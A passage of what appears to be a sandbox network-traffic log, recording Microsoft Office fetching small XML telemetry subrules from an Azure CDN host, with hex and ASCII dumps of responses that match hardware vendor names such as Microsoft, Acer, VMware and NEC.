DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:17 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:17 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: bf72ccbe-301e-001f-25a0-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123517Z-17df447cdb5vp9l9hC1DFW5hw800000007h0000000009ckd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:17 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123517Z-16547b76f7fwvr5dhC1DFW2c940000000ffg00000000af4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:17 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 06b39b0e-901e-00a0-53a2-346a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123517Z-15869dbbcc6rzfwxhC1DFWrkb00000000b1000000000bpqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:17 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 09da145b-201e-0033-5108-32b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123517Z-16547b76f7fj897nhC1DFWdwq40000000fm0000000000kyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:18 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c860b0c2-d01e-007a-2fa3-34f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123518Z-17df447cdb5qkskwhC1DFWeeg40000000cfg000000002g4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:18 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:18 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123518Z-16547b76f7f775p5hC1DFWzdvn0000000fkg000000009d6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:18 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:18 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 183719b9-d01e-00a1-43c3-2c35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123518Z-16547b76f7frbg6bhC1DFWr5400000000fk0000000006ftz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:18 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:18 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 94736ed5-d01e-0082-79a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123518Z-15869dbbcc6xpvqthC1DFWq7d8000000097g000000000kym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:18 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:18 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 7f7db364-701e-005c-2f05-2dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123518Z-16547b76f7f7scqbhC1DFW0m5w0000000fhg000000003hbk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:19 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123519Z-16547b76f7fkj7j4hC1DFW0a9g0000000fkg0000000090t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:19 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:19 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 78a78bc2-701e-0053-0ba0-343a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123519Z-15869dbbcc6rmhmhhC1DFWr8y000000007ng000000008hgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:19 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:19 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:19 UTC	498	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 412bc4a2-301e-0020-47a2-346299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123519Z-17df447cdb56mx55hC1DFWvbt400000008s000000000bkzq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
